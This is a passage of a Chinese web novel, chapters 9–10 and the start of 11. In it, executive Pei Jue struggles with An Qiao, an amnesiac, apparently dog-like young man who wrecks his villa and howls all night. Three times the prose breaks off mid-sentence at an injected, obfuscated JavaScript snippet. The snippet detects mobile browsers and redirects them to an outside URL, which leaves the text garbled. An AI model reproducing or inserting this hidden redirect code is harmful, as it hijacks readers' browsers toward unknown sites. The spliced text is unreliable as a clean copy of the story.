“你对他很好?”裴觉闻言,他眼神微微一动,抬起头看着自己的特助,许特助十分专业地说道:“当然,小安是裴总您的人,我应该要对他好的,而且,按照您的要求,我调查了一下小安的资料,他的生活很简单,在他的父母去世之前,就是个幸福的普通小孩,结果遇到了这些糟心事,还失去了记忆,所有东西都得从头学起,还会被人误认为智障,的确是很可怜了。” “误认为智障?”裴觉细细琢磨了一下这句话,他冷笑一声,什么误认为,他觉得对方就是脑子不好使。 “那我下班后就去别墅那边。”许特助说道。 裴觉点了点头,示意许特助如果没什么特别的事情需要汇报,就可以离开了,他看着许特助的背影,想着对方短暂的接触了一下安桥,肯定是被蒙蔽了,等会去教安桥使用手机,就会知道安桥到底是个什么玩意。 然而就在许特助踏出总裁办公室的时候,忽然想到了什么,他回头看向正准备工作的裴觉,思虑再三后说道:“裴总,您带小安回来那天,我就发现了,小安的全部注意力都在您的身上,他很喜欢您。” 说完,许特助将门关上,离开了这里,继续去工作了。 “……”裴觉微微往后靠,他没有理会许特助的话,准备继续翻看文件,但是看了几张纸之后,不经意地轻轻偏过头去看电脑屏幕上的监视器画面,上面的安桥就这样呆愣愣地坐在沙发上,眼睛不知道在看些什么,但是一直都没有挪动位置,偶尔会朝着四周喊裴觉,他就这么一直喊着,试图喊道裴觉回答他为止。 这幅执着的样子让裴觉心理压力陡然倍增,他关掉了监视器画面,重新继续工作,不再去想家里那个吵闹的人。 而此刻的安桥正得意地看着眼前的作品——一个残破的电视机。 这个电视机从进入这栋别墅到直接陨落,只隔了一年而已,而这一切都是安桥的杰作,他甚至非常满意地来回踱步,看着裸露出来的电线和咬碎的遥控器,甚至是旁边被这个残破电视机砸得稀巴烂的绿植,以及被绿植撞碎的玻璃,还有倒地的大型鱼缸,甚至于散落一地的玻璃碎片。 “werwerwer——” “werwerwerwerwerwer——” 安桥不再感觉到孤单,他张开双手,有一种拥抱自己得意之作的感觉,甚至于期待着看到裴觉震惊的表情,他早就说了,他最喜欢看到别人震惊,震惊,再次震惊,非常非常震惊的表情。 这是他特殊的爱,他相信没有人不喜欢这种独一无二的爱。 于是他就这样坐在了地毯上看着这一幕,难得非常有耐心起来,困了的时候就躺在地毯上睡觉,所以下班来这里的许特助刚刚推开门,就看到了安桥昏倒在地毯上,而前面满是被破坏的样子,仿佛是大型斗殴现场。 “小安!”许特助连忙冲上前,试探了一下安桥的鼻息,然后打开手机试图拨打120,然而安桥就已经醒来了,他一睁开眼,先是没看清楚人,准备凑上前,察觉到不对劲的时候,轻轻歪了歪脑袋,有些迷茫地看着眼前的许特助,哑声问道:“你怎么来了?” “你声音怎么哑成了这个样子?”许特助看了眼狼狈憔悴的安桥,又看了眼满目狼藉的客厅,以及才修补好的玄关,他想起了自家老板欲言又止的表情,已经猜到了几分,试探着问道:“他动手了?你哭过了?” 一切尽在不言中,安桥的沉默就是最好的证明。 “你们吵架了?他砸东西了?”许特助有些震惊,不过好在安桥已经反应过来了,他声音嘶哑道:“嗓子疼,我喊他,他不理我。” 许特助看安桥只是嗓子疼,没有其他问题,就松了口气,道:“那可能是上火了,我等会买些润喉片,银耳汤之类的润润喉,你看这才几天,声音都哑了。” 安桥是想要等着裴觉回来看看这些,所以许特助并不是他的目标,他的注意力不在许特助身上,时不时就会跑到门边去看裴觉回来了没有,试图在对方回来的第一时间展示自己的成果。 许特助则是认命地收拾了一下残局,但是电视这些之类,只有等着明天让人上门维修了。 “他还没有回来。”安桥就坐在门口的台阶上,他双手托着下巴,眼神始终看着外面,道:“他今天回来的好晚。” “裴总今晚有些应酬,回来的会晚一些,我给你带的手机,你看到了吗?”许特助拍了拍安桥的肩膀,道:“我教你怎么用手机,下次找不到裴总的时候,拨打手机,就能找到裴总了。” 安桥眼前一亮,他立刻转身去拿手机。 “这样心性单纯的人,落在裴总手里,真是糟蹋了。”那一瞬间,这样的念头就窜上了许特助的心头,他第一次觉得自己有点心虚。 说实在的,他觉得安桥,是真的很好,非常善良懂事的人,他见过太多尔虞我诈的人了,还是第一次见到心性这么美好的,看着就是一副善良的模样。 …… 许特助并没有在这里留太久,教会了安桥使用手机之后就离开了,原本他以为要多费几次功夫才能教会安桥使用手机,谁知道安桥是真的很聪明,一遍就懂了。 晚宴结束之后,裴觉喝了些酒,司机将他扶上车子,他刚准备闭眼小憩的时候,就听到手机铃声响了,是一个陌生号码,裴觉直接挂断。 然而这个陌生的号码响了好几遍,裴觉终于觉得烦了,他低头看了眼,发现这个号码还是本地的,于是还是选择了接通,里面没有声音,裴觉扯了扯领带,语调较为冷硬道:“喂?” 坐在客厅摆弄手机的安桥听到了声音,立刻高兴起来,他不太熟练地将手机贴在了耳朵上,按照许特助教他的方法沟通,道:“裴觉。” 只是两个字,裴觉就下意识坐直了身体,他低头看了眼手机,然后又听到里面传来安桥的声音,对方问道:“你什么时候回来?” “……很快了。”裴觉确定了,这是安桥的号码,应该是之前许特助弄好的,裴觉坐在车上,前面还有司机,他道:“你在家等我。” 他刚刚挂断电话,还没一秒钟,电话又打来了,还是安桥,对方问道:“你怎么还没回来?” “很快了,一个小时。”裴觉说道:“不要再打电话了。” 他挂断电话后,试图清净一下,但是手机铃声再次响起,依旧是安桥,裴觉直接挂断了电话,而后只要手机铃声一响,他就立刻挂断电话,直到司机接通了电话,然后看了眼后视镜,恭敬道:“裴总,是裴董的电话。” 裴觉这才发现自己挂点的电话里,不仅有安桥的,还有他父亲的,顿觉更加头疼了。 等裴觉到家的时候,已经是安桥正坐在客厅的沙发上看着手机,并且尝试着拨打了电话给裴觉,他太执着了 ,以至于就算是电话不通,他也拿着手机反复拨打。 裴觉在车上被父亲教训了一顿,但他已经习惯了,和往常一样心口不一地认错,反正他的父亲一向对他严苛,对私生子宽容,所以这更加坚定了他必须夺权的心。 此刻的他站在别墅的大落地玻璃面前,透过玻璃看到了安桥坐在沙发上的背影,他似乎是有些恼了,将手机使劲地戳着,打通了裴觉的电话。 这次裴觉没有再挂断他的电话,而是接听起来之后,听到熟悉的“werwerwer——“声后,十分平静道:”我回来了。“ 裴觉第一次感觉到家也是温暖的,不会有父亲的斥责,母亲的疯狂,以及私生子和那个女人的算计,他透过这玻璃看着里面穿着睡衣等着自己的安桥,觉得这也算是有一盏灯是为自己而亮的。 可是安桥的存在也不断地提醒着他,这一切都是假的,乃至于他的身份,也是假的。 “等急了吧?我路过烧烤店的时候,给你带了一些吃的回来。”裴觉拎着打包回来的烧烤,他往里面走,想着就冲着今天晚上的这这盏灯,无论安桥已经做了什么,他都不会觉得对方很麻烦。 然而就在他换下鞋子,踏进客厅的时候,平静的脸色骤然僵住了,乃至于脚步都停顿在了原地。 整个画面以一种惨不忍睹的表现形式呈现在他的面前,如果非要让裴觉去形容的话,他感觉幻觉也不过如此了。 电视机的电线已经裸露在外,鱼缸的碎裂暂且不提,旁边玻璃屏风有了一个大坑,他花费了不少功夫从别的省份搬回来的,精心培养的名贵品种绿植也彻底毁了,而且毁了就算了,大半的叶片消失不见,地上残留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513114|203088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着叶子的残渣,好在这玩意无毒,不然裴觉感觉今晚还得拖着安桥跑一趟医院了。 地上有这一大滩的红色痕迹,一开始裴觉吓了一跳,以为是安桥划伤哪里了,结果发现是红酒碎了,这价值几十万收藏级的红酒,就这样喂了地毯。 “你回来了!”安桥也并不是坐在沙发上,裴觉这才发现是刚刚的视觉错位,严格来说安桥正坐在茶几上,上面的摆件和茶具都消失了,化为地上的碎渣,安桥试图下来扑向裴觉,然而又没有地方可以落脚。 裴觉都分不清楚这是真实的,还是他喝多了之后出现的幻觉,又或者是他酒精中毒了,总而言之是,他有些不敢相信这是真的。 “你干的?”裴觉咬牙切齿道:“你是不是疯了!” 安桥非常不满裴觉的态度,仰起头叫了几声之后,冷酷无情道:“对,就是我干的,我的家,我想怎么也就怎么样,你不要给我多话!” 没有人知道裴觉在进门的那一刻是什么心情,但他自己知道,他是真的有些说不出的怒气,甚至气的想笑,连骂的劲儿都没了。 “你不满意吗?我的杰作,我的作品,这是我的。”安桥张开双手,要不是无处落脚,他甚至想要直接凑到裴觉的脸上,让对方睁大眼睛看看这壮丽场景。 “……”裴觉扶着旁边的金属屏风,他感觉比喝了假酒都头疼。 裴觉抬起手摸了把脸,确定这不是幻觉,重重的地吐了口气,然后转身拨通了许特助的号码,将对方从睡梦中叫醒,然而挂断电话后,他再次看着眼前的场景,更绝眼前发黑,他甚至分不清自己到底是喝酒喝得头晕,还是血压高了所以头晕。 有那么一刻,他甚至庆幸自己没有心脏病,不然早就完蛋了。 “咱家是进贼了吗?还是进强盗了?”裴觉咬着牙,压着怒火,冷笑一声道:“你打电话给我,不会就是为了让我看这个吧?” “不然呢?”安桥很认真地纠正了一下裴觉的说法,道:“是我家。” “……”裴觉已经不记得安桥刚刚进入这个家门时,一脸期待地看着裴觉说“这是你家吗,好大,好漂亮”的样子了。 那个模样,现在想起来,美好得像是个转瞬即逝的幻觉。 一个坐在大理石的茶几上,一个扶着金属门框,他们四目相对,对峙了好一会儿,以裴觉认命地去收拾了一下残局收场。 按照许特助的意思,他来的时候就很乱了,并且他收拾过了,那现在变成这个样子,大概率就是安桥不满意许特助破坏了他的杰作,所以再弄一次。 “werwerwer——” 安桥哼着wewer的声音绕着裴觉转圈,兴奋地给裴觉展示一下自己学会了打电话的技能,这模样看得裴觉有些呆滞。 他揉捏了一下自己的眉心,隐隐感觉这状态有些不对,和他预料的差的很远,他在看到那份亲子鉴定的时候,就已经预设过很多种后果,包括不仅于安桥会狮子大开口要钱,或者用这件事情威胁他,亦或者是要跟他抢夺,但是,他几乎是绞尽脑汁想到了每一种可能性,唯独没想到过这种。 他收拾完了残局,一回头就看到安桥已经坐在餐桌上了,他深吸了一口气,让自己冷静下来,安桥是个昏迷三年,脑子有病的人,可他是个正常人,他不能和安桥计较,不然肯定血压扛不住,心脏也扛不住的。 “地上的玻璃收拾了,但是可能还有小碎片在地上,你等会不要光脚踩上去。”裴觉语调平静,他深吸了一口气,很快就调节好了自己的情绪,道:“以后生气不要砸东西,生气就告诉我,我们一起解决情绪问题。” 他是很认真地在跟安桥谈心,试图用这种方式唤醒一下安桥本就所剩不多,不,应该说是完全没有的良知。 “明白了吗?”裴觉已经展现出了自己最大的耐心,他强行温柔地说道:“你说这是你的家,好,就算这是你的家,你是不是应该爱护?” “我的家,我想做什么就做什么。”安桥不吃这一套,他有自己的沟通法则,非常自我道:“我的家,我做主。” “……”裴觉沉默了几秒后,再次降低了底线,尝试沟通道:“能让我今晚好好睡一觉吗?” 安桥轻轻歪了歪脑袋,没有立刻回答裴觉,反而是忽然咧开嘴笑了一下,眼眸微微弯着,配上他人畜无害的长相,看起来还真是温柔懂事。 裴觉轻轻松了口气,感觉安桥这样应该就是答应了,他拖着疲惫的步伐上楼,准备洗洗睡觉,结果一打开门。 怎么说着,场景很熟悉,衣服挂在了灯上,满屋子一片狼藉,他甚至有一种想要笑的感觉,还真是昨天的场景一比一复制过来了。 “你让我不要在我的房间干这事情。”安桥也跟了过来,他笑了,道:“我答应你了,你看,这是你的房间。” 裴觉忽然理解了刚刚安桥那个笑容的含义,什么温柔懂事,那分明就是已经干了坏事后的得意! 那个笑容,分明就是安桥一想到等会裴觉看到房间的反应,就想笑! “明天,我要把你送到精神病医院。”裴觉深吸了一口气,声音里带着一丝颤抖的怒气,道:“你完了,安桥,你完了,我没有耐心了。” 9. 第一次看到母亲 裴觉说是要把安桥送去精神病医院,于是晚上连正常的睡眠时间都没了,他躺在床上刚刚准备入睡的时候,就听到外面传来响声,刚刚有的睡意瞬间消散了,于是又要重新酝酿。 以往他喝醉酒回来都是倒头就睡的,可是现在,酒都快醒了,依旧没法入睡,干脆爬起来去看文件,可是安桥似乎也没打算让他看文件,时不时就来凑热闹,裴觉不让他进门,他就在门缝里看,神情专注。 “你不睡觉吗?”裴觉颇为头疼,他看着安桥,道:“你白天一直都在家里晃悠,也没午睡啊,你现在不要睡觉的吗?” “不困。”安桥两个字就把裴觉给堵了回去。 裴觉看这个犟种的样子,忍不住气笑了,他扶着桌子站起来,点头道:“好,好,反正是最后一晚上了,明天我就带你去精神病医院,这次我不会再相信那个什么问题答卷了,你这样的如果都算是正常人,那就是我疯了。” 面对裴觉的话,安桥压根儿就不生气,他眼神瞅着裴觉,让裴觉总觉得有一种不太妙的感觉,可是家里都被拆成这样了,还能糟糕到哪里去?难道安桥还能挖得动地基吗? 然而当裴觉下楼去给自己倒杯蜂蜜水,忽然惊觉茶叶旁边的咖啡没了。 他回过头看着精神抖擞的安桥,对方亦步亦趋跟在他的身后,仿佛就是他的腿部挂件,裴觉从一开始的不习惯,到现在已经很淡定了,中间不过耗时一个星期而已。 “你……”裴觉看着安桥,欲言又止,他摆了摆手,叹气道:“算了,不说了。” 反正这里的咖啡也不多,喝了就喝了,裴觉揉捏了一下自己的眉心,他累得甚至都不想再多说一个字了,就算是睡不着也躺在了床上,睁着眼睛,听着耳边传来了“werwerwer——”的声音,由远及近,由近及远,他不难想象出安桥满地乱爬的样子,然后仿佛自我催眠般闭上了眼睛,等到第二天早上,唤醒他的仍然是“werwerwer——”的声音。 有那么一瞬间,裴觉想着安桥的父母到底是怎么忍受得了安桥的,医院的医护人员是怎么忍受住安桥的,可是转念一想,安桥父母在世的时候,安桥还没变成这种神经质的模样,而安桥在医院里……就更别提了,乖巧的外表蒙蔽了所有人,特别是他。 裴觉绝望地发现,在整个事件中,仿佛只有他感受到了安桥是怎样一个人。 “werwerwerwerwerwer——” 裴觉坐起身,就看到安桥坐在床上迎着太阳大喊大叫,他沉默地看了眼这个床,如果他没有记错的话,这是他的房间,他的床,而安桥没有半点边界感。 “知道什么是私人空间?”裴觉已经不抱有什么期望了,他坐起身,平静地和安桥对视,对方闻言轻轻歪着脑袋看向裴觉,笑得眼眸微微弯起,看起来格外好看,道:“我知道啊,我很喜欢你的私人空间。” 他当然知道什么是私人空间,以前的主人和主人的家人也曾经试图教育它,让它明白什么是私人空间,所以安桥从小就培养起了喜欢别人私人空间的兴趣爱好。 这个回答,在裴觉的意料之中。 他说要带着安桥去精神病医院并不是开玩笑的,毕竟现在只是拆家,谁知道后来会发展成什么样子,出于安全考虑,他还是要带着安桥去的。 开车前往医院的路上,安桥坐在副驾驶,绑好了安全带,他习惯性双手扒拉着车窗,总是试图透过车窗去看外面,似乎是对外面的世界无比向往。 “跟我说说你都还记得什么吧。”裴觉一边开车,一边非常不经意地问道:“总不至于什么都不记得了吧?说说你自己吧,你的父母,你的亲戚。” 裴觉试图通过安桥的话去判断“真假少爷”这件事情到底还有没有其他知情人,那两张亲子鉴定不会无缘无故到达他的面前,然而一天找不到幕后主使,裴觉就无法心安。 然而安桥没有回答他,反而是忽然老老实实坐好了,双手抓着安全带,和当时被带回别墅时的乖巧模样相差无几,然而裴觉已经领教到了对方的演技,是不会再被这么拙劣的演技骗到的。 “同一个招数用一两次就行了,用多了就没有意义了。”裴觉打了一下方向盘,避开了一辆超速行驶的车,他面色平静道:“安桥,你明白吗?” 安桥没有回答他,正在酝酿着情绪。 “怎么突然安静了?”裴觉下意识觉得这不像是安桥的性格,但很快又意识到自己恐怕是被折磨出心理阴影了,居然不太适应这么安静的安桥。 医生和裴觉是熟识,也是那位八年德国留学生的爸爸,他看到裴觉之后,打了声招呼,而后道:“你说的就是他吧?” 安桥跟在裴觉的身后,它对这种环境有些敏感,并不喜欢医院,于是看起来老实极了,甚至在听到对方说自己的时候,极为茫然,下意识转头看向了自己最信任的人。 “看来他很依赖你。”医生笑了声,道:“我去带他做一下检查,你在这里等我。” “好。”裴觉说道。 “要去看看你的母亲吗?她最近好一点了。”医生想了想说道:“她清醒的时候还是会问起你的近况。” “……好的。”裴觉应了一声,在安桥被医生哄走之后,他起身朝着后面一栋住院部走去,那边的阳台都是用栏杆围起来的,防止会有病人在精神状态不好的情况下跳楼,无论是病人还是家属,都透着一种说不出的沉重感。 而裴觉对这里很熟悉,从经常来这里,看望他的母亲,而他的母亲已经疯了,可即便是疯了,依旧记得裴明正给她带来的伤害,关于裴家的人,她半个字都不能听。 裴觉没有打扰她,他就站在门外静静地看着母亲坐在沙发上看书,阳光落在了她的身上,显得整个人异常温柔。 手机震动的时候,他低头看了眼,发现是安桥的电话,立刻接通后说道:“做好检查了?我立刻过来,你原地等我。” 其实说这句话的时候,他甚至依旧做好了预设,总觉得按照安桥的性格,指不定会到处搞破坏,所以他提前都跟医生说过了,说安桥的破坏欲极强。 但是当他站在医生的面前时,对方非常慈爱地看着安桥,而安桥也很乖巧地坐在原地,之前所设想的一切仿佛都只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513115|203088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴觉毫无理由毫无根据的诬陷。 “他没什么问题,只是认知差了点而已。”医生说道:“小安是个好孩子,哪有你说的那样。” 裴觉沉默了半晌后,默默和安桥对视,他感觉自己被全世界孤立了,有一种无法自证清白的感觉。 两人一前一后走出医院的大门,朝着停车场去了,路上安桥有些好奇地左顾右盼,但是只要裴觉稍微走快一点,他就立刻跟上,显然实际上是一直在盯着裴觉的,比之前盯得更紧了。 然而走在前面的裴觉忽然停下脚步,眼尖地看到了他的母亲正被护士扶着去花园散步,于是立刻带着安桥往后一躲,直到她们的背影消失在了视野里,裴觉的眉头再次拧起,心中沉重了不少。 “看到这个医院了吧,如果你再在我家里随意搞破坏,惹事情,我就把你送到这里来,听到了吗?”裴觉威胁着安桥,但是看到对方表情一动,就知道安桥想要说什么,在对方开口之前就纠正了自己的话,防止安桥大庭广众之下开始乱叫,连忙说道:“你的家。” 安桥非常满意地点了点头。 总而言之,裴总是个体面人,还是要脸面的。 阳光落在裴觉和安桥的身上,将他俩的影子拉得很长,有那么一瞬间,裴觉甚至想着如果到最后裴明正真的知道了真相,找回了安桥,面对这样的安桥,裴明正会怎么想?会不会像今天的他一样,都已经被弄得心力交瘁,从未如此疲惫过。 但这肯定是他得到了自己想要的东西之后的事情了。 他要搞垮裴明正,拿回属于他,属于他母亲的东西。 “放弃吧。”安桥上车后系好了安全带,他泪眼汪汪地看着裴觉,道:“你永远也甩不掉我的,说好的养我一辈子,那就是一辈子。” 他敏锐地察觉到了裴觉似乎是有些弃养的想法,安桥立刻要将这个苗头掐灭了。 “哭了?”裴觉一愣,没想到安桥竟然掉眼泪了,他稍一停顿就被安桥扑了一下,但因为安桥的安全带收紧了,所以安桥的袭击没有成功。 “我什么都是最好的,你能养到我,你走了八辈子的好运了!”安桥总结道。 因为没想到这件事情会让安桥掉眼泪,裴觉的心中也沉重了一下,他本意只是吓唬一下安桥,让对方老实点而已,毕竟他自己其实才是理亏的那个。 因为他自己心虚了,所以晚上即便安桥又叫了一整夜,裴觉都只是给自己吃了两颗安眠药而已,没有试图去阻止安桥了。 第二天一早,他又在安桥“werwerwer——”悠长的叫声中醒来了,他听着依旧闹腾的安桥,真的非常困惑对方的嗓子难道不疼吗,这样叫唤这么久,居然都没事。 直到他发现了茶几上的润喉片,他道:“这是什么?这谁买的?” 其实不用安桥回答,裴觉都猜到了,只有可能是许特助,裴觉强忍怒火,再次翻了翻旁边的东西,于是看到了这个药店的订单上,除了润喉片,还有眼药水。 那一瞬间,裴觉第一反应就是安桥那个泪眼汪汪的样子,一大早的,他就扶着餐桌,差点被气得血压高了。 10. 冤枉我 正大集团的总裁办公室里,裴觉这个有着严格时间观念,且对自己要求非常严苛的总裁竟然也有迟到的一天。 他是从家里量完血压过来的,顺便也给安桥量了一下 ,结果那个昏迷三年才醒来的人血压正常,心跳正常,属于非常理想的状态,而他,血压直接冲到了一百四十多,心跳更加加速了,就连仪器都让他要注意身体健康。 裴觉深深叹了口气,想着医生说给安桥一点时间,他刚刚才醒来,对这个世界还不了解,很茫然,对陌生的环境多少会有些应激,的确可能会出现一些反常行为。 “医院里还是很乖的,回去就这样了……应激行为吗?”裴觉觉的这个解释比那个什么破检测题要好多了,至少他还算勉强能接受这个理由。 旁边的电脑页面仍然是家里的监控,可以看到安桥在家里到处游走,似乎是在寻找着什么,对此裴觉已经能很淡定地看着对方的这种奇怪行为。 “意外昏迷三年,父母双亡,醒来后失忆了,行为异常,精神状态十分不稳定,有躁郁倾向,并且有很强的占有欲,特别是对别人的东西格外有占有欲。”裴觉十分冷酷地精准点评了一下安桥的各种行为,并且在最后轻轻加上了一句:“还是个文盲。” 他可没忘记安桥看文件合同的时候,是把合同拿反了,并且看得津津有味。 总而言之,除了那张脸,真的一无是处。 “咚咚。”许特助接到信息就立刻来了总裁办公室,打开门之后就看到了自家老板正在翻看文件,他上前道:“裴总。” “你买的?”裴觉将剩下的润喉片丢到了办公桌上,他身子微微往后靠,冷着脸道:“你买这个干什么?” “润喉片?对,是我买的,那天小安说嗓子疼得厉害,眼睛也都是红血丝,所以我就买了一些润喉片和眼药水给他。”许特助以为是润喉片有问题,他拿起来看了眼,都在保质期内,并且也是正品,困惑道:“是药品有什么问题吗?” “药品没问题,但是这种多余的事情,以后不用再做了。”裴觉警告道:“我是让你过来当特助的,没说还让你兼职他的生活助理。” 许特助面对性情有些阴晴不定的老板,非常识趣地点头道:“好的裴总,我记住了。” 裴觉的脸色这才算是好看一些,他当然知道安桥的嗓子疼,眼睛红,因为那玩意叫了一晚上“werwerwer”,差点没把裴觉叫成神经衰弱。 许特助刚走,裴觉一回头就看到安桥在沙发上睡觉了,似乎睡得挺熟,他忍不住气笑了,低声喃喃道:“现在睡了,晚上继续叫,你还真就冲着我来的?” 他勉强最后一次相信一下医生的判断,也许就是应激反应,等过了这段时间就好了。 总体而言,目前还在他的忍耐范围内,裴觉揉捏了一下自己的眉心,喝了两口咖啡用来提神。 会议文件几乎是一堆一堆地送到他这里,相关项目的信息也有很多,裴觉工作起来几乎是废寝忘食,但是闲暇时候也不忘记看一眼监视器上还在熟睡的安桥,以防止对方又要闹出什么幺蛾子来。 “咚咚。”敲门声再次响起,裴觉以为是自己的助理,刚刚让人进来就听到一声熟悉的,让人厌恶的“哥”这个称呼。 能这么称呼他的,无非就是家里那个私生子了。 “哥,我听爸说你要接受023项目了。”来人穿着一身十分得体的休闲西装,只是领带有些松垮,他随意往沙发上一坐,笑着道:“不过我这次来不是为了项目的事情,只是我从分公司回来的时候,听到了一个有趣的消息,想要来说给你听。” 裴觉冷眼扫了一下他,平静道:“没兴趣。” “听听嘛,又不会浪费多少时间。”裴喻显然是有备而来,他扯动了一下唇角,露出了一个显得有些挑衅的笑,道:“我听说,洁身自好的大哥你从外面带回来了一个人藏在了半山别墅里,听说还是个男的。” 之前许特助就跟裴觉说过,裴喻在私下调查这件事情,所以裴喻会知道,裴觉并不觉得奇怪,整个集团都知道裴明正很喜欢裴喻这个小儿子,而裴觉这个大儿子如果不是能力强劲,早就被扫地出门了。 “哥,你居然没有否认。”裴喻觉得自己似乎是发现了一个惊天大秘密,他猛地上前,双手撑着办公桌看向裴觉,震惊道:“你居然真敢金屋藏娇啊?” “比起这个,也许你更要关注一下这些。”裴觉将手边的文件推给了裴喻,眼神里带着一丝不屑,语调微冷道:“如果让我知道这个消息传到了爸的耳朵里,那我不保证这些东西,会不会到达董事会。” 兄弟俩互相对视了几秒后,裴喻怒气冲冲地拿着文件走了,差点撞到了迎面而来的许特助。 裴觉看向门外的眼神显得有些阴郁,他并没有解释安桥和自己并非“金屋藏娇”的关系,毕竟比起这个,他们之间真正的“真假少爷”关系才是更不能摆在台面上说的。 “蠢货。”裴觉低声道。 “小安其实挺聪明的,我教他手机,他看一遍就会了。”许特助以为裴觉在说安桥,于是为安桥解释了两句。 裴觉翻开了文件,随意道:“说的不是安桥,安桥的确比他要聪明多了。” …… 聪明的安桥一觉睡到了傍晚,精神抖擞地爬了起来,开始享受美好的夜晚,由于家里的电视机都被搬走了,目前没有换新的,其它被破坏的东西也都已经搬走了,所以整个客厅看起来空荡荡的。 “少了点什么。”安桥思考了一下,他蹲坐在茶几上,环视四周,目光落在了床帘上。 裴觉回来的时候甚至已经做好了心理准备,他是在下班之后,将车停在小区路边一个小时,做足了心理建设之后才回来的。 但是即便如此,在看到了满客厅的纸巾如同下雪一般铺满了整个客厅,并且长长的卷纸非常有艺术感地到处拖拽着,在整个屋子里形成了一种难以形容的行为艺术,如果不是裴觉很累了,他甚至可能会夸两句挺有艺术感的。 但是现在他夸不出来,因为他看到在这么一大堆纸之中,一个人正试图用这些卷纸上吊,裴觉瞅着安桥垫着脚尖,十分危险地站在茶几上,卷纸从客厅中间的水晶灯缝隙间穿过,然后落下,他学着古装剧里上吊的场景这样吐着舌头,歪着脑袋,看向了裴觉。 裴觉都笑了一声,他感觉自己的大脑神经似乎是有些断线了。 “你说你失忆了,但是你还记得这些玩意。”裴觉都不明白安桥的脑袋里到底记了些什么,他甚至有一种强烈的预感,平静的生活应该算是一去不返了。 不过好在还只是用纸巾上吊,还算是珍惜生命了。 “你回来了,来,跟我一起。”安桥做了个示范,并且开始兴奋地叫着,他以前和主人一起的时候,主人就会带着还是小狗的它一起玩这个游戏,安桥非常喜欢,所以每次主人回来,它都会拖着长长的卷纸让主人一家继续陪自己玩这个游戏,偶尔主人也会高兴得冒出了眼泪。 裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513116|203088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉没有理会安桥,踩着一地的纸巾,一脸平静地通知家政明天一大早就要来打扫,但是让他意外的是,他的电话居然打不通,低头一看,才发现家政似乎是把他拉黑了。 裴觉:…… 他只好让许特助再找一个家政,然后忽略了楼下的“werwerwer——”声,径自到房间准备冲个澡,然而忽然察觉到了什么似的,又立刻转身走了出去,果然发现问题出在了哪里。 他就说他今天进门感觉哪里不对劲,原来是自家客厅的窗帘消失了! “安桥,我的窗帘呢?这个落地玻璃挑高有两层楼那么高,将近八米!你飞上去的吗?!”裴觉的表情有些难以置信,他很难想象这是怎么做到的。 安桥本来正在玩,被裴觉的怒声吓了一跳,立刻转头盯着裴觉看,显然是也有些生气了。 就在裴觉准备去看看这是怎么回事的时候,就接到了许特助的电话,说道:“好的裴总,已经换了一家家政公司,并且客厅窗帘今天已经卸下,明天让人过去更换。” “客厅窗帘?”裴觉微微一愣。 “是的,您上个月说是这款窗帘以及过时了,所以这次换了一种新款的。”许特助提醒道。 被这么一说,裴觉才想起来是有这么一回事,只是最近事情太多了,给忙忘记了。 “……”裴觉挂断了电话之后,和有些要龇牙的安桥对视了一眼,心知理亏的他开口道歉:“窗帘不关你的事情,是我冤枉你了,抱歉。” 有些委屈的安桥开始不满了,他占据了道德制高点,踩在了客厅的餐桌上,居高临下地看着裴觉,道:“跟我道歉!” “对不起,我冤枉你了,安桥。”裴觉现在只想要去睡觉,明早还得赶四点钟的飞机去外地开会,他道:“下次不会了,我保证。” “再道歉!”安桥扬起下巴,更加理直气壮了。 “……对不起,安桥。”裴觉哄着道:“我们去睡觉了,好不好?” “继续道歉!”安桥平时干坏事都是理直气壮的,现在被冤枉了,更是要理直气壮,他甚至张开了双手,一副即将登基的样子,仰起头叫道:“道歉!向我道歉!werwerwer——” “……”裴觉深深看了眼他,拖着疲惫的身体转身离开,径自回房间,并且根据这几天的教训,他将房间门从里面锁上了,让安桥打不开。 他觉得自己是真的需要一个私人空间了,哪怕只有一个房间而已。 外面的吵闹于他无关,吞了一粒安眠药的他躺下就准备睡觉,然而睡到半夜,就听到了挠门声,一下一下的,一下一下的,伴随着熟悉的“werwerwer——”声,裴觉睁开了眼睛。 “道歉,裴觉,你开门!向我道歉!”安桥叫道:“你开门,开门,你不准关门!这是我家,你立刻开门!” “werwerwer——”睡了一下午,并且再次偷喝了裴觉一大包名贵茶叶的安桥,此刻精神非常好,叫声悠长,看得出来是没有半点困意了。 那一大包浓茶泡水下肚,裴觉看到的时候,就感觉到今夜必定不太平静了。 他听着外面的叫声,脑海里想着医生说的“对陌生环境会有应激反应,那是因为内心害怕,恐惧而造成的”,他脑子里有些恍惚地想着,到底是谁要有应激反应了?到底是谁害怕恐惧了? 现在裴觉觉得自己都快要应激反应了这才是真的。 外面喝了那么多浓茶的安桥,精神非常亢奋了。 11. 